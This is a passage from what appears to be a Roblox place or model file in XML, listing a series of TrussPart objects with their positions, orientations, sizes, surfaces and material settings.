					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-168</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX141">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>15.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX142">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-168</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX143">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>15.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX144">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>15.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX145">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>15.3999996</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX146">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>7.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX147">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>7.4000001</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX148">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>17.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX149">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>27.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX150">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX151">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-140</X>
						<Y>5.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX152">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-156</X>
						<Y>5.4000001</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX153">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>17.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX154">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-178</X>
						<Y>27.3999996</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>-1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
